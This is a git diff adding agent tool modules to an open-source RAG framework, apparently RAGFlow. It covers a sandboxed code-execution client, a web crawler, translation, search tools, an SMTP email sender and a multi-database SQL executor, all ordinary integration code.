+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import base64
+import logging
+import os
+from abc import ABC
+from strenum import StrEnum
+from typing import Optional
+from pydantic import BaseModel, Field, field_validator
+from agent.tools.base import ToolParamBase, ToolBase, ToolMeta
+from api import settings
+from api.utils.api_utils import timeout
+
+
+class Language(StrEnum):
+ PYTHON = "python"
+ NODEJS = "nodejs"
+
+
+class CodeExecutionRequest(BaseModel):
+ code_b64: str = Field(..., description="Base64 encoded code string")
+ language: str = Field(default=Language.PYTHON.value, description="Programming language")
+ arguments: Optional[dict] = Field(default={}, description="Arguments")
+
+ @field_validator("code_b64")
+ @classmethod
+ def validate_base64(cls, v: str) -> str:
+ try:
+ base64.b64decode(v, validate=True)
+ return v
+ except Exception as e:
+ raise ValueError(f"Invalid base64 encoding: {str(e)}")
+
+ @field_validator("language", mode="before")
+ @classmethod
+ def normalize_language(cls, v) -> str:
+ if isinstance(v, str):
+ low = v.lower()
+ if low in ("python", "python3"):
+ return "python"
+ elif low in ("javascript", "nodejs"):
+ return "nodejs"
+ raise ValueError(f"Unsupported language: {v}")
+
+
+class CodeExecParam(ToolParamBase):
+ """
+ Define the code sandbox component parameters.
+ """
+
+ def __init__(self):
+ self.meta:ToolMeta = {
+ "name": "execute_code",
+ "description": """
+This tool has a sandbox that can execute code written in 'Python'/'Javascript'. It recieves a piece of code and return a Json string.
+Here's a code example for Python(`main` function MUST be included):
+def main() -> dict:
+ \"\"\"
+ Generate Fibonacci numbers within 100.
+ \"\"\"
+ def fibonacci_recursive(n):
+ if n <= 1:
+ return n
+ else:
+ return fibonacci_recursive(n-1) + fibonacci_recursive(n-2)
+ return {
+ "result": fibonacci_recursive(100),
+ }
+
+Here's a code example for Javascript(`main` function MUST be included and exported):
+const axios = require('axios');
+async function main(args) {
+ try {
+ const response = await axios.get('https://github.com/infiniflow/ragflow');
+ console.log('Body:', response.data);
+ } catch (error) {
+ console.error('Error:', error.message);
+ }
+}
+module.exports = { main };
+ """,
+ "parameters": {
+ "lang": {
+ "type": "string",
+ "description": "The programming language of this piece of code.",
+ "enum": ["python", "javascript"],
+ "required": True,
+ },
+ "script": {
+ "type": "string",
+ "description": "A piece of code in right format. There MUST be main function.",
+ "required": True
+ }
+ }
+ }
+ super().__init__()
+ self.lang = Language.PYTHON.value
+ self.script = "def main(arg1: str, arg2: str) -> dict: return {\"result\": arg1 + arg2}"
+ self.arguments = {}
+ self.outputs = {"result": {"value": "", "type": "string"}}
+
+ def check(self):
+ self.check_valid_value(self.lang, "Support languages", ["python", "python3", "nodejs", "javascript"])
+ self.check_empty(self.script, "Script")
+
+ def get_input_form(self) -> dict[str, dict]:
+ res = {}
+ for k, v in self.arguments.items():
+ res[k] = {
+ "type": "line",
+ "name": k
+ }
+ return res
+
+
+class CodeExec(ToolBase, ABC):
+ component_name = "CodeExec"
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60)))
+ def _invoke(self, **kwargs):
+ lang = kwargs.get("lang", self._param.lang)
+ script = kwargs.get("script", self._param.script)
+ arguments = {}
+ for k, v in self._param.arguments.items():
+ if kwargs.get(k):
+ arguments[k] = kwargs[k]
+ continue
+ arguments[k] = self._canvas.get_variable_value(v) if v else None
+
+ self._execute_code(
+ language=lang,
+ code=script,
+ arguments=arguments
+ )
+
+ def _execute_code(self, language: str, code: str, arguments: dict):
+ import requests
+
+ try:
+ code_b64 = self._encode_code(code)
+ code_req = CodeExecutionRequest(code_b64=code_b64, language=language, arguments=arguments).model_dump()
+ except Exception as e:
+ self.set_output("_ERROR", "construct code request error: " + str(e))
+
+ try:
+ resp = requests.post(url=f"http://{settings.SANDBOX_HOST}:9385/run", json=code_req, timeout=int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60)))
+ logging.info(f"http://{settings.SANDBOX_HOST}:9385/run, code_req: {code_req}, resp.status_code {resp.status_code}:")
+ if resp.status_code != 200:
+ resp.raise_for_status()
+ body = resp.json()
+ if body:
+ stderr = body.get("stderr")
+ if stderr:
+ self.set_output("_ERROR", stderr)
+ return
+ try:
+ rt = eval(body.get("stdout", ""))
+ except Exception:
+ rt = body.get("stdout", "")
+ logging.info(f"http://{settings.SANDBOX_HOST}:9385/run -> {rt}")
+ if isinstance(rt, tuple):
+ for i, (k, o) in enumerate(self._param.outputs.items()):
+ if k.find("_") == 0:
+ continue
+ o["value"] = rt[i]
+ elif isinstance(rt, dict):
+ for i, (k, o) in enumerate(self._param.outputs.items()):
+ if k not in rt or k.find("_") == 0:
+ continue
+ o["value"] = rt[k]
+ else:
+ for i, (k, o) in enumerate(self._param.outputs.items()):
+ if k.find("_") == 0:
+ continue
+ o["value"] = rt
+ else:
+ self.set_output("_ERROR", "There is no response from sandbox")
+
+ except Exception as e:
+ self.set_output("_ERROR", "Exception executing code: " + str(e))
+
+ return self.output()
+
+ def _encode_code(self, code: str) -> str:
+ return base64.b64encode(code.encode("utf-8")).decode("utf-8")
+
+ def thoughts(self) -> str:
+ return "Running a short script to process data."
diff --git a/agent/tools/crawler.py b/agent/tools/crawler.py
new file mode 100644
index 0000000..869fae4
--- /dev/null
+++ b/agent/tools/crawler.py
@@ -0,0 +1,68 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+from abc import ABC
+import asyncio
+from crawl4ai import AsyncWebCrawler
+from agent.tools.base import ToolParamBase, ToolBase
+
+
+
+class CrawlerParam(ToolParamBase):
+ """
+ Define the Crawler component parameters.
+ """
+
+ def __init__(self):
+ super().__init__()
+ self.proxy = None
+ self.extract_type = "markdown"
+
+ def check(self):
+ self.check_valid_value(self.extract_type, "Type of content from the crawler", ['html', 'markdown', 'content'])
+
+
+class Crawler(ToolBase, ABC):
+ component_name = "Crawler"
+
+ def _run(self, history, **kwargs):
+ from api.utils.web_utils import is_valid_url
+ ans = self.get_input()
+ ans = " - ".join(ans["content"]) if "content" in ans else ""
+ if not is_valid_url(ans):
+ return Crawler.be_output("URL not valid")
+ try:
+ result = asyncio.run(self.get_web(ans))
+
+ return Crawler.be_output(result)
+
+ except Exception as e:
+ return Crawler.be_output(f"An unexpected error occurred: {str(e)}")
+
+ async def get_web(self, url):
+ proxy = self._param.proxy if self._param.proxy else None
+ async with AsyncWebCrawler(verbose=True, proxy=proxy) as crawler:
+ result = await crawler.arun(
+ url=url,
+ bypass_cache=True
+ )
+
+ if self._param.extract_type == 'html':
+ return result.cleaned_html
+ elif self._param.extract_type == 'markdown':
+ return result.markdown
+ elif self._param.extract_type == 'content':
+ return result.extracted_content
+ return result.markdown
diff --git a/agent/tools/deepl.py b/agent/tools/deepl.py
new file mode 100644
index 0000000..41d1234
--- /dev/null
+++ b/agent/tools/deepl.py
@@ -0,0 +1,61 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+from abc import ABC
+from agent.component.base import ComponentBase, ComponentParamBase
+import deepl
+
+
+class DeepLParam(ComponentParamBase):
+ """
+ Define the DeepL component parameters.
+ """
+
+ def __init__(self):
+ super().__init__()
+ self.auth_key = "xxx"
+ self.parameters = []
+ self.source_lang = 'ZH'
+ self.target_lang = 'EN-GB'
+
+ def check(self):
+ self.check_positive_integer(self.top_n, "Top N")
+ self.check_valid_value(self.source_lang, "Source language",
+ ['AR', 'BG', 'CS', 'DA', 'DE', 'EL', 'EN', 'ES', 'ET', 'FI', 'FR', 'HU', 'ID', 'IT',
+ 'JA', 'KO', 'LT', 'LV', 'NB', 'NL', 'PL', 'PT', 'RO', 'RU', 'SK', 'SL', 'SV', 'TR',
+ 'UK', 'ZH'])
+ self.check_valid_value(self.target_lang, "Target language",
+ ['AR', 'BG', 'CS', 'DA', 'DE', 'EL', 'EN-GB', 'EN-US', 'ES', 'ET', 'FI', 'FR', 'HU',
+ 'ID', 'IT', 'JA', 'KO', 'LT', 'LV', 'NB', 'NL', 'PL', 'PT-BR', 'PT-PT', 'RO', 'RU',
+ 'SK', 'SL', 'SV', 'TR', 'UK', 'ZH'])
+
+
+class DeepL(ComponentBase, ABC):
+ component_name = "DeepL"
+
+ def _run(self, history, **kwargs):
+ ans = self.get_input()
+ ans = " - ".join(ans["content"]) if "content" in ans else ""
+ if not ans:
+ return DeepL.be_output("")
+
+ try:
+ translator = deepl.Translator(self._param.auth_key)
+ result = translator.translate_text(ans, source_lang=self._param.source_lang,
+ target_lang=self._param.target_lang)
+
+ return DeepL.be_output(result.text)
+ except Exception as e:
+ DeepL.be_output("**Error**:" + str(e))
diff --git a/agent/tools/duckduckgo.py b/agent/tools/duckduckgo.py
new file mode 100644
index 0000000..0315d69
--- /dev/null
+++ b/agent/tools/duckduckgo.py
@@ -0,0 +1,120 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+import os
+import time
+from abc import ABC
+from duckduckgo_search import DDGS
+from agent.tools.base import ToolMeta, ToolParamBase, ToolBase
+from api.utils.api_utils import timeout
+
+
+class DuckDuckGoParam(ToolParamBase):
+ """
+ Define the DuckDuckGo component parameters.
+ """
+
+ def __init__(self):
+ self.meta:ToolMeta = {
+ "name": "duckduckgo_search",
+ "description": "DuckDuckGo is a search engine focused on privacy. It offers search capabilities for web pages, images, and provides translation services. DuckDuckGo also features a private AI chat interface, providing users with an AI assistant that prioritizes data protection.",
+ "parameters": {
+ "query": {
+ "type": "string",
+ "description": "The search keywords to execute with DuckDuckGo. The keywords should be the most important words/terms(includes synonyms) from the original request.",
+ "default": "{sys.query}",
+ "required": True
+ },
+ "channel": {
+ "type": "string",
+ "description": "default:general. The category of the search. `news` is useful for retrieving real-time updates, particularly about politics, sports, and major current events covered by mainstream media sources. `general` is for broader, more general-purpose searches that may include a wide range of sources.",
+ "enum": ["general", "news"],
+ "default": "general",
+ "required": False,
+ },
+ }
+ }
+ super().__init__()
+ self.top_n = 10
+ self.channel = "text"
+
+ def check(self):
+ self.check_positive_integer(self.top_n, "Top N")
+ self.check_valid_value(self.channel, "Web Search or News", ["text", "news"])
+
+ def get_input_form(self) -> dict[str, dict]:
+ return {
+ "query": {
+ "name": "Query",
+ "type": "line"
+ },
+ "channel": {
+ "name": "Channel",
+ "type": "options",
+ "value": "general",
+ "options": ["general", "news"]
+ }
+ }
+
+
+class DuckDuckGo(ToolBase, ABC):
+ component_name = "DuckDuckGo"
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12)))
+ def _invoke(self, **kwargs):
+ if not kwargs.get("query"):
+ self.set_output("formalized_content", "")
+ return ""
+
+ last_e = ""
+ for _ in range(self._param.max_retries+1):
+ try:
+ if kwargs.get("topic", "general") == "general":
+ with DDGS() as ddgs:
+ # {'title': '', 'href': '', 'body': ''}
+ duck_res = ddgs.text(kwargs["query"], max_results=self._param.top_n)
+ self._retrieve_chunks(duck_res,
+ get_title=lambda r: r["title"],
+ get_url=lambda r: r.get("href", r.get("url")),
+ get_content=lambda r: r["body"])
+ self.set_output("json", duck_res)
+ return self.output("formalized_content")
+ else:
+ with DDGS() as ddgs:
+ # {'date': '', 'title': '', 'body': '', 'url': '', 'image': '', 'source': ''}
+ duck_res = ddgs.news(kwargs["query"], max_results=self._param.top_n)
+ self._retrieve_chunks(duck_res,
+ get_title=lambda r: r["title"],
+ get_url=lambda r: r.get("href", r.get("url")),
+ get_content=lambda r: r["body"])
+ self.set_output("json", duck_res)
+ return self.output("formalized_content")
+ except Exception as e:
+ last_e = e
+ logging.exception(f"DuckDuckGo error: {e}")
+ time.sleep(self._param.delay_after_error)
+
+ if last_e:
+ self.set_output("_ERROR", str(last_e))
+ return f"DuckDuckGo error: {last_e}"
+
+ assert False, self.output()
+
+ def thoughts(self) -> str:
+ return """
+Keywords: {}
+Looking for the most relevant articles.
+ """.format(self.get_input().get("query", "-_-!"))
diff --git a/agent/tools/email.py b/agent/tools/email.py
new file mode 100644
index 0000000..ab6cc6e
--- /dev/null
+++ b/agent/tools/email.py
@@ -0,0 +1,215 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import os
+import time
+from abc import ABC
+import json
+import smtplib
+import logging
+from email.mime.text import MIMEText
+from email.mime.multipart import MIMEMultipart
+from email.header import Header
+from email.utils import formataddr
+
+from agent.tools.base import ToolParamBase, ToolBase, ToolMeta
+from api.utils.api_utils import timeout
+
+
+class EmailParam(ToolParamBase):
+ """
+ Define the Email component parameters.
+ """
+ def __init__(self):
+ self.meta:ToolMeta = {
+ "name": "email",
+ "description": "The email is a method of electronic communication for sending and receiving information through the Internet. This tool helps users to send emails to one person or to multiple recipients with support for CC, BCC, file attachments, and markdown-to-HTML conversion.",
+ "parameters": {
+ "to_email": {
+ "type": "string",
+ "description": "The target email address.",
+ "default": "{sys.query}",
+ "required": True
+ },
+ "cc_email": {
+ "type": "string",
+ "description": "The other email addresses needs to be send to. Comma splited.",
+ "default": "",
+ "required": False
+ },
+ "content": {
+ "type": "string",
+ "description": "The content of the email.",
+ "default": "",
+ "required": False
+ },
+ "subject": {
+ "type": "string",
+ "description": "The subject/title of the email.",
+ "default": "",
+ "required": False
+ }
+ }
+ }
+ super().__init__()
+ # Fixed configuration parameters
+ self.smtp_server = "" # SMTP server address
+ self.smtp_port = 465 # SMTP port
+ self.email = "" # Sender email
+ self.password = "" # Email authorization code
+ self.sender_name = "" # Sender name
+
+ def check(self):
+ # Check required parameters
+ self.check_empty(self.smtp_server, "SMTP Server")
+ self.check_empty(self.email, "Email")
+ self.check_empty(self.password, "Password")
+ self.check_empty(self.sender_name, "Sender Name")
+
+ def get_input_form(self) -> dict[str, dict]:
+ return {
+ "to_email": {
+ "name": "To ",
+ "type": "line"
+ },
+ "subject": {
+ "name": "Subject",
+ "type": "line",
+ "optional": True
+ },
+ "cc_email": {
+ "name": "CC To",
+ "type": "line",
+ "optional": True
+ },
+ }
+
+class Email(ToolBase, ABC):
+ component_name = "Email"
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 60)))
+ def _invoke(self, **kwargs):
+ if not kwargs.get("to_email"):
+ self.set_output("success", False)
+ return ""
+
+ last_e = ""
+ for _ in range(self._param.max_retries+1):
+ try:
+ # Parse JSON string passed from upstream
+ email_data = kwargs
+
+ # Validate required fields
+ if "to_email" not in email_data:
+ return Email.be_output("Missing required field: to_email")
+
+ # Create email object
+ msg = MIMEMultipart('alternative')
+
+ # Properly handle sender name encoding
+ msg['From'] = formataddr((str(Header(self._param.sender_name,'utf-8')), self._param.email))
+ msg['To'] = email_data["to_email"]
+ if email_data.get("cc_email"):
+ msg['Cc'] = email_data["cc_email"]
+ msg['Subject'] = Header(email_data.get("subject", "No Subject"), 'utf-8').encode()
+
+ # Use content from email_data or default content
+ email_content = email_data.get("content", "No content provided")
+ # msg.attach(MIMEText(email_content, 'plain', 'utf-8'))
+ msg.attach(MIMEText(email_content, 'html', 'utf-8'))
+
+ # Connect to SMTP server and send
+ logging.info(f"Connecting to SMTP server {self._param.smtp_server}:{self._param.smtp_port}")
+
+ context = smtplib.ssl.create_default_context()
+ with smtplib.SMTP(self._param.smtp_server, self._param.smtp_port) as server:
+ server.ehlo()
+ server.starttls(context=context)
+ server.ehlo()
+ # Login
+ logging.info(f"Attempting to login with email: {self._param.email}")
+ server.login(self._param.email, self._param.password)
+
+ # Get all recipient list
+ recipients = [email_data["to_email"]]
+ if email_data.get("cc_email"):
+ recipients.extend(email_data["cc_email"].split(','))
+
+ # Send email
+ logging.info(f"Sending email to recipients: {recipients}")
+ try:
+ server.send_message(msg, self._param.email, recipients)
+ success = True
+ except Exception as e:
+ logging.error(f"Error during send_message: {str(e)}")
+ # Try alternative method
+ server.sendmail(self._param.email, recipients, msg.as_string())
+ success = True
+
+ try:
+ server.quit()
+ except Exception as e:
+ # Ignore errors when closing connection
+ logging.warning(f"Non-fatal error during connection close: {str(e)}")
+
+ self.set_output("success", success)
+ return success
+
+ except json.JSONDecodeError:
+ error_msg = "Invalid JSON format in input"
+ logging.error(error_msg)
+ self.set_output("_ERROR", error_msg)
+ self.set_output("success", False)
+ return False
+
+ except smtplib.SMTPAuthenticationError:
+ error_msg = "SMTP Authentication failed. Please check your email and authorization code."
+ logging.error(error_msg)
+ self.set_output("_ERROR", error_msg)
+ self.set_output("success", False)
+ return False
+
+ except smtplib.SMTPConnectError:
+ error_msg = f"Failed to connect to SMTP server {self._param.smtp_server}:{self._param.smtp_port}"
+ logging.error(error_msg)
+ last_e = error_msg
+ time.sleep(self._param.delay_after_error)
+
+ except smtplib.SMTPException as e:
+ error_msg = f"SMTP error occurred: {str(e)}"
+ logging.error(error_msg)
+ last_e = error_msg
+ time.sleep(self._param.delay_after_error)
+
+ except Exception as e:
+ error_msg = f"Unexpected error: {str(e)}"
+ logging.error(error_msg)
+ self.set_output("_ERROR", error_msg)
+ self.set_output("success", False)
+ return False
+
+ if last_e:
+ self.set_output("_ERROR", str(last_e))
+ return False
+
+ assert False, self.output()
+
+ def thoughts(self) -> str:
+ inputs = self.get_input()
+ return """
+To: {}
+Subject: {}
+Your email is on its way—sit tight!
+""".format(inputs.get("to_email", "-_-!"), inputs.get("subject", "-_-!"))
diff --git a/agent/tools/exesql.py b/agent/tools/exesql.py
new file mode 100644
index 0000000..2e1cc24
--- /dev/null
+++ b/agent/tools/exesql.py
@@ -0,0 +1,212 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import json
+import os
+import re
+from abc import ABC
+import pandas as pd
+import pymysql
+import psycopg2
+import pyodbc
+from agent.tools.base import ToolParamBase, ToolBase, ToolMeta
+from api.utils.api_utils import timeout
+
+
+class ExeSQLParam(ToolParamBase):
+ """
+ Define the ExeSQL component parameters.
+ """
+
+ def __init__(self):
+ self.meta:ToolMeta = {
+ "name": "execute_sql",
+ "description": "This is a tool that can execute SQL.",
+ "parameters": {
+ "sql": {
+ "type": "string",
+ "description": "The SQL needs to be executed.",
+ "default": "{sys.query}",
+ "required": True
+ }
+ }
+ }
+ super().__init__()
+ self.db_type = "mysql"
+ self.database = ""
+ self.username = ""
+ self.host = ""
+ self.port = 3306
+ self.password = ""
+ self.max_records = 1024
+
+ def check(self):
+ self.check_valid_value(self.db_type, "Choose DB type", ['mysql', 'postgres', 'mariadb', 'mssql', 'IBM DB2'])
+ self.check_empty(self.database, "Database name")
+ self.check_empty(self.username, "database username")
+ self.check_empty(self.host, "IP Address")
+ self.check_positive_integer(self.port, "IP Port")
+ self.check_empty(self.password, "Database password")
+ self.check_positive_integer(self.max_records, "Maximum number of records")
+ if self.database == "rag_flow":
+ if self.host == "ragflow-mysql":
+ raise ValueError("For the security reason, it dose not support database named rag_flow.")
+ if self.password == "infini_rag_flow":
+ raise ValueError("For the security reason, it dose not support database named rag_flow.")
+
+ def get_input_form(self) -> dict[str, dict]:
+ return {
+ "sql": {
+ "name": "SQL",
+ "type": "line"
+ }
+ }
+
+
+class ExeSQL(ToolBase, ABC):
+ component_name = "ExeSQL"
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 60)))
+ def _invoke(self, **kwargs):
+
+ def convert_decimals(obj):
+ from decimal import Decimal
+ if isinstance(obj, Decimal):
+ return float(obj) # 或 str(obj)
+ elif isinstance(obj, dict):
+ return {k: convert_decimals(v) for k, v in obj.items()}
+ elif isinstance(obj, list):
+ return [convert_decimals(item) for item in obj]
+ return obj
+
+ sql = kwargs.get("sql")
+ if not sql:
+ raise Exception("SQL for `ExeSQL` MUST not be empty.")
+
+ vars = self.get_input_elements_from_text(sql)
+ args = {}
+ for k, o in vars.items():
+ args[k] = o["value"]
+ if not isinstance(args[k], str):
+ try:
+ args[k] = json.dumps(args[k], ensure_ascii=False)
+ except Exception:
+ args[k] = str(args[k])
+ self.set_input_value(k, args[k])
+ sql = self.string_format(sql, args)
+
+ sqls = sql.split(";")
+ if self._param.db_type in ["mysql", "mariadb"]:
+ db = pymysql.connect(db=self._param.database, user=self._param.username, host=self._param.host,
+ port=self._param.port, password=self._param.password)
+ elif self._param.db_type == 'postgres':
+ db = psycopg2.connect(dbname=self._param.database, user=self._param.username, host=self._param.host,
+ port=self._param.port, password=self._param.password)
+ elif self._param.db_type == 'mssql':
+ conn_str = (
+ r'DRIVER={ODBC Driver 17 for SQL Server};'
+ r'SERVER=' + self._param.host + ',' + str(self._param.port) + ';'
+ r'DATABASE=' + self._param.database + ';'
+ r'UID=' + self._param.username + ';'
+ r'PWD=' + self._param.password
+ )
+ db = pyodbc.connect(conn_str)
+ elif self._param.db_type == 'IBM DB2':
+ import ibm_db
+ conn_str = (
+ f"DATABASE={self._param.database};"
+ f"HOSTNAME={self._param.host};"
+ f"PORT={self._param.port};"
+ f"PROTOCOL=TCPIP;"
+ f"UID={self._param.username};"
+ f"PWD={self._param.password};"
+ )
+ try:
+ conn = ibm_db.connect(conn_str, "", "")
+ except Exception as e:
+ raise Exception("Database Connection Failed! \n" + str(e))
+
+ sql_res = []
+ formalized_content = []
+ for single_sql in sqls:
+ single_sql = single_sql.replace("```", "").strip()
+ if not single_sql:
+ continue
+ single_sql = re.sub(r"\[ID:[0-9]+\]", "", single_sql)
+
+ stmt = ibm_db.exec_immediate(conn, single_sql)
+ rows = []
+ row = ibm_db.fetch_assoc(stmt)
+ while row and len(rows) < self._param.max_records:
+ rows.append(row)
+ row = ibm_db.fetch_assoc(stmt)
+
+ if not rows:
+ sql_res.append({"content": "No record in the database!"})
+ continue
+
+ df = pd.DataFrame(rows)
+ for col in df.columns:
+ if pd.api.types.is_datetime64_any_dtype(df[col]):
+ df[col] = df[col].dt.strftime("%Y-%m-%d")
+
+ df = df.where(pd.notnull(df), None)
+
+ sql_res.append(convert_decimals(df.to_dict(orient="records")))
+ formalized_content.append(df.to_markdown(index=False, floatfmt=".6f"))
+
+ ibm_db.close(conn)
+
+ self.set_output("json", sql_res)
+ self.set_output("formalized_content", "\n\n".join(formalized_content))
+ return self.output("formalized_content")
+ try:
+ cursor = db.cursor()
+ except Exception as e:
+ raise Exception("Database Connection Failed! \n" + str(e))
+
+ sql_res = []
+ formalized_content = []
+ for single_sql in sqls:
+ single_sql = single_sql.replace('```','')
+ if not single_sql:
+ continue
+ single_sql = re.sub(r"\[ID:[0-9]+\]", "", single_sql)
+ cursor.execute(single_sql)
+ if cursor.rowcount == 0:
+ sql_res.append({"content": "No record in the database!"})
+ break
+ if self._param.db_type == 'mssql':
+ single_res = pd.DataFrame.from_records(cursor.fetchmany(self._param.max_records),
+ columns=[desc[0] for desc in cursor.description])
+ else:
+ single_res = pd.DataFrame([i for i in cursor.fetchmany(self._param.max_records)])
+ single_res.columns = [i[0] for i in cursor.description]
+
+ for col in single_res.columns:
+ if pd.api.types.is_datetime64_any_dtype(single_res[col]):
+ single_res[col] = single_res[col].dt.strftime('%Y-%m-%d')
+
+ single_res = single_res.where(pd.notnull(single_res), None)
+
+ sql_res.append(convert_decimals(single_res.to_dict(orient='records')))
+ formalized_content.append(single_res.to_markdown(index=False, floatfmt=".6f"))
+
+ self.set_output("json", sql_res)
+ self.set_output("formalized_content", "\n\n".join(formalized_content))
+ return self.output("formalized_content")
+
+ def thoughts(self) -> str:
+ return "Query sent—waiting for the data."
diff --git a/agent/tools/github.py b/agent/tools/github.py
new file mode 100644
index 0000000..27cb1e3
--- /dev/null
+++ b/agent/tools/github.py
@@ -0,0 +1,91 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+import os
+import time
+from abc import ABC
+import requests
+from agent.tools.base import ToolParamBase, ToolMeta, ToolBase
+from api.utils.api_utils import timeout
+
+
+class GitHubParam(ToolParamBase):
+ """
+ Define the GitHub component parameters.
+ """
+
+ def __init__(self):
+ self.meta:ToolMeta = {
+ "name": "github_search",
+ "description": """GitHub repository search is a feature that enables users to find specific repositories on the GitHub platform. This search functionality allows users to locate projects, codebases, and other content hosted on GitHub based on various criteria.""",
+ "parameters": {
+ "query": {
+ "type": "string",
+ "description": "The search keywords to execute with GitHub. The keywords should be the most important words/terms(includes synonyms) from the original request.",
+ "default": "{sys.query}",
+ "required": True
+ }
+ }
+ }
+ super().__init__()
+ self.top_n = 10
+
+ def check(self):
+ self.check_positive_integer(self.top_n, "Top N")
+
+ def get_input_form(self) -> dict[str, dict]:
+ return {
+ "query": {
+ "name": "Query",
+ "type": "line"
+ }
+ }
+
+class GitHub(ToolBase, ABC):
+ component_name = "GitHub"
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12)))
+ def _invoke(self, **kwargs):
+ if not kwargs.get("query"):
+ self.set_output("formalized_content", "")
+ return ""
+
+ last_e = ""
+ for _ in range(self._param.max_retries+1):
+ try:
+ url = 'https://api.github.com/search/repositories?q=' + kwargs["query"] + '&sort=stars&order=desc&per_page=' + str(
+ self._param.top_n)
+ headers = {"Content-Type": "application/vnd.github+json", "X-GitHub-Api-Version": '2022-11-28'}
+ response = requests.get(url=url, headers=headers).json()
+ self._retrieve_chunks(response['items'],
+ get_title=lambda r: r["name"],
+ get_url=lambda r: r["html_url"],
+ get_content=lambda r: str(r["description"]) + '\n stars:' + str(r['watchers']))
+ self.set_output("json", response['items'])
+ return self.output("formalized_content")
+ except Exception as e:
+ last_e = e
+ logging.exception(f"GitHub error: {e}")
+ time.sleep(self._param.delay_after_error)
+
+ if last_e:
+ self.set_output("_ERROR", str(last_e))
+ return f"GitHub error: {last_e}"
+
+ assert False, self.output()
+
+ def thoughts(self) -> str:
+ return "Scanning GitHub repos related to `{}`.".format(self.get_input().get("query", "-_-!"))
diff --git a/agent/tools/google.py b/agent/tools/google.py
new file mode 100644
index 0000000..455038a
--- /dev/null
+++ b/agent/tools/google.py
@@ -0,0 +1,159 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+import os
+import time
+from abc import ABC
+from serpapi import GoogleSearch
+from agent.tools.base import ToolParamBase, ToolMeta, ToolBase
+from api.utils.api_utils import timeout
+
+
+class GoogleParam(ToolParamBase):
+ """
+ Define the Google component parameters.
+ """
+
+ def __init__(self):
+ self.meta:ToolMeta = {
+ "name": "google_search",
+ "description": """Search the world's information, including webpages, images, videos and more. Google has many special features to help you find exactly what you're looking ...""",
+ "parameters": {
+ "q": {
+ "type": "string",
+ "description": "The search keywords to execute with Google. The keywords should be the most important words/terms(includes synonyms) from the original request.",
+ "default": "{sys.query}",
+ "required": True
+ },
+ "start": {
+ "type": "integer",
+ "description": "Parameter defines the result offset. It skips the given number of results. It's used for pagination. (e.g., 0 (default) is the first page of results, 10 is the 2nd page of results, 20 is the 3rd page of results, etc.). Google Local Results only accepts multiples of 20(e.g. 20 for the second page results, 40 for the third page results, etc.) as the `start` value.",
